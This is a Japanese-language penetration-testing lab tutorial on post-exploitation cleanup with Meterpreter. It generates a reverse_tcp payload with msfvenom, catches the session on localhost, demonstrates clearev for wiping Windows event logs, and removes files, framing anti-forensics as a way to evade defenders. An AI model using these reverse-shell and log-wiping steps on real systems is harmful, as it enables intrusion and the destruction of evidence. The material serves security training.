Meterpreter を使用したエンゲージメント後のシステムクリーンアップ

Kali LinuxBeginner
オンラインで実践に進む

はじめに

ペネトレーションテストやレッドチーミングの分野では、ターゲットシステムへのアクセス権の獲得はミッションの一部に過ぎません。アクセス権を獲得した後、そして切断する前に何を行うかが極めて重要です。このフェーズはポストエクスプロイテーション(post-exploitation)として知られています。ポストエクスプロイテーションの重要な要素の一つがクリーンアップ(cleanup)です。これは、侵害されたシステムからあなたの存在の痕跡をすべて削除するプロセスです。

ツール、ログ、またはシステムへの変更を残しておくと、システム管理者やブルーチームがあなたの活動に気づき、エンゲージメントの失敗や、あなたが使用した脆弱性のパッチ適用につながる可能性があります。Metasploit Framework 内の強力なペイロードである Meterpreter は、このクリーンアッププロセスを支援するためのいくつかのツールを提供しています。

この実験(Lab)では、エンゲージメント後に Meterpreter を使用してシステムをクリーンアップする基本的な手順を学びます。セッションの獲得、イベントログのクリア、ファイルの削除、そして痕跡を残さないことの重要性の理解を実践します。

ターゲットで Meterpreter セッションを取得する

このステップでは、システムのクリーンアップを練習する前に、まずシステムにアクセスする必要があります。これは、msfvenomでペイロードを作成し、Metasploit Framework でリスナーを設定し、次に自身のマシンでペイロードを「実行」して、localhostで Meterpreter セッションを取得することでシミュレートします。

まず、ターミナルを開き、msfvenomを使用して Linux Meterpreter ペイロードを生成します。このコマンドは、現在のディレクトリ(~/project)にpayload.elfという名前の実行可能ファイルを作成します。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

ペイロードが正常に生成されたことを示す出力が表示されるはずです。

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

次に、Metasploit Framework コンソールを開始します。-qフラグは、バナーを表示せずに静かに開始させます。

msfconsole -q

msfconsoleプロンプトに入ったら、ペイロードからの接続をキャッチするためのリスナーを設定する必要があります。exploit/multi/handlerモジュールを使用します。

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

exploit -jコマンドは、リスナーをバックグラウンドジョブとして開始するため、コンソールを引き続き使用できます。ハンドラが開始されたことを示すメッセージが表示されます。

次に、ターミナルウィンドウの+アイコンをクリックして、新しいターミナルタブを開きます。この新しいタブで、ペイロードに実行権限を付与し、実行します。

chmod +x ~/project/payload.elf
~/project/payload.elf

msfconsoleがある最初のターミナルタブに戻ります。Meterpreter セッションが開かれたことを示すメッセージが表示されるはずです。

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

この新しいセッションと対話するには、sessionsコマンドを使用します。

sessions -i 1

プロンプトがmeterpreter >に変わるはずです。これは、セッションを制御下に置いたことを示しています。

clearev コマンドを使用してイベントログをクリアする

このステップでは、Meterpreter における最も重要なクリーンアップコマンドの一つであるclearevについて説明します。クリーンアップの主な目的は、システムログからあなたの活動の証拠を削除することです。Windows システムでは、これらのログ(Application、System、Security)は、フォレンジック調査員にとって情報の主要な情報源となります。

clearevコマンドは、Windows ターゲット上のこれら 3 つの主要なイベントログをクリアするために特別に設計されています。

重要事項: 現在の Meterpreter セッションは Linux システム上で行われています。clearevコマンドはここでは機能せず、エラーが発生します。これは、ターゲットが Windows である場合に重要なツールであるため、教育目的でその使用法を実演しています。

meterpreter >プロンプト内で、Linux セッションでの結果を確認するためにコマンドを入力します。

meterpreter > clearev

コマンドは Linux システム用に実装されていないため、エラーメッセージが表示されます。

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

しかし、Windows マシン上の Meterpreter セッションにいた場合、出力は成功を示し、以下のようになります。

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

どのツールがどのオペレーティングシステムで機能するかを理解することは、ペネトレーションテスターにとって重要なスキルです。ここでは成功裏に実行できませんでしたが、Windows ターゲット上のイベントログをクリアするための主要なコマンドを知ることができました。

アップロードしたファイルやツールを手動で削除する

このステップでは、ターゲットシステムにアップロードまたは作成したファイルを、手動で削除する方法を学びます。自動化されたスクリプトは便利ですが、ツール、スクリプト、またはペイロードが残されていないことを確認するために、常に手動でチェックを実行する必要があります。

現在のシナリオでは、ステップ 1 で作成したpayload.elfファイルが「侵害された」システム上にあります。痕跡を消すために、これを削除する必要があります。これは Meterpreter セッションから直接行うことができます。

まず、Meterpreter 内でlsコマンドを使用して、ターゲットの現在のディレクトリにあるファイルを一覧表示します。ペイロードファイルが表示されるはずです。

meterpreter > ls

出力は/home/labex/projectのファイルを表示します。

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

次に、Meterpreter でrmコマンドを使用してファイルを削除します。

meterpreter > rm payload.elf

確認メッセージが表示されるはずです。

[*] rm: Removed /home/labex/project/payload.elf

ファイルが削除されたことを確認するために、再度lsコマンドを実行します。payload.elfファイルはもう一覧に表示されないはずです。これは、システムを発見したときと同じ状態にしておくための重要なステップです。

ポストエクスプロイテーション中に加えられたシステム変更を元に戻す

このステップでは、クリーンアップのもう一つの側面であるシステム変更の元戻しについて説明します。ポストエクスプロイテーション中には、ユーザーアカウントの追加、ファイルパーミッションの変更、または永続化のためのスケジュールタスクの作成などを行うことがあります。これらの変更はすべて、離れる前に元に戻す必要があります。

ここでは、システム変更を表す一時ファイルを作成し、その後削除することでこれをシミュレートします。

meterpreter >プロンプトから、temp_change.txtという名前のファイルを作成しましょう。これは、ターゲットシステムでtouchコマンドを実行するために Meterpreter のexecuteコマンドを使用することで行うことができます。

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

このコマンドは、引数/home/labex/project/temp_change.txttouchを実行します。lsでその作成を確認できます。

meterpreter > ls

さて、クリーンアップの一環として、このファイルを削除する必要があります。前のステップで行ったのと同じようにrmコマンドを使用してください。

meterpreter > rm temp_change.txt

これは非常に単純な例ですが、原則はより複雑な変更にも適用されます。ユーザーを追加した場合は、そのユーザーを削除する必要があります。設定ファイルを変更した場合は、バックアップから復元するか、手動で変更を元に戻す必要があります。

最後に、ターゲットでのクリーンアップが完了しました。これで、Meterpreter セッションを終了し、その後 Metasploit コンソールを終了できます。

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

これにより、通常のターミナルプロンプトに戻ります。

痕跡を残さないことの重要性について議論する

この最終ステップでは、クリーンアップがプロフェッショナルなセキュリティエンゲージメントにおいて最も重要なフェーズの一つである理由についての概念的なレビューを行います。ここでは実行するコマンドはありません。目標は、あなたが今練習したことの戦略的な重要性を理解することです。

徹底的なクリーンアップの主な理由:

  1. オペレーショナルセキュリティ (OPSEC): 主な目標は、検知されないことです。残されたファイル、ログエントリ、実行中のプロセスなど、どのようなアーティファクトも、ブルーチームやインシデントレスポンダーにとっての手がかりとなります。検知されると、使用したツールやインフラストラクチャを含む、あなたのオペレーション全体が台無しになる可能性があります。

  2. プロフェッショナリズムと誠実さ: プロのペネトレーションテストでは、クライアントのシステムを損傷するためではなく、セキュリティを評価するために雇われます。システムを変更されたままの状態にしておくことは、プロフェッショナルではありません。システムを元の状態に戻すことは、クライアントの環境への配慮と敬意を示します。

  3. 意図しない損害の防止: 残されたツールやスクリプトは、システムの不安定化を引き起こす可能性があります。さらに悪いことに、アクセス用に作成したバックドアが発見され、悪意のあるアクターによって使用される可能性があり、システムは開始時よりも 安全ではなく なります。あなたの責任は、セキュリティを改善することであり、新たな脆弱性を生み出すことではありません。

  4. 将来的なアクセスの維持: 数週間または数ヶ月に及ぶ可能性のあるレッドチームのエンゲージメントでは、各小さなアクションの後にクリーンアップを行うことで、長期的なアクセスが早期に発見されないようにします。検知された場合、防御者は脆弱性を修正し、あなたが使用していたアクセスポイントを閉じます。

要約すると、効果的なクリーンアップは単にファイルを削除することではありません。それは、ステルス性、プロフェッショナリズム、そしてエンゲージメントのコアミッションを優先する考え方です。アマチュアハッカーとプロのセキュリティテスターを分けるものです。

まとめ

この実験では、Meterpreter を使用して侵害されたシステムをクリーンアップするという不可欠なプロセスを体験しました。これは、あらゆる倫理的ハッカーまたはペネトレーションテスターにとって基本的なスキルです。

あなたは以下のことを成功させました:

  • ペイロードを作成して実行することにより、Meterpreter セッションを取得しました。
  • clearevコマンドとその Windows システムでのイベントログクリアに特化したユースケースについて学びました。
  • Meterpreter のrmコマンドを使用して、ターゲットシステムからファイルを手動で削除する練習をしました。
  • 一時ファイルを作成して削除することにより、システム変更の元戻しをシミュレートしました。
  • オペレーショナルセキュリティとプロフェッショナリズムを維持するためのクリーンアップの重要な重要性について考察しました。

これらのテクニックを習得することで、セキュリティエンゲージメントが効果的であるだけでなく責任あるものとなり、ターゲット環境を元の状態のままにし、検知のリスクを最小限に抑えることができます。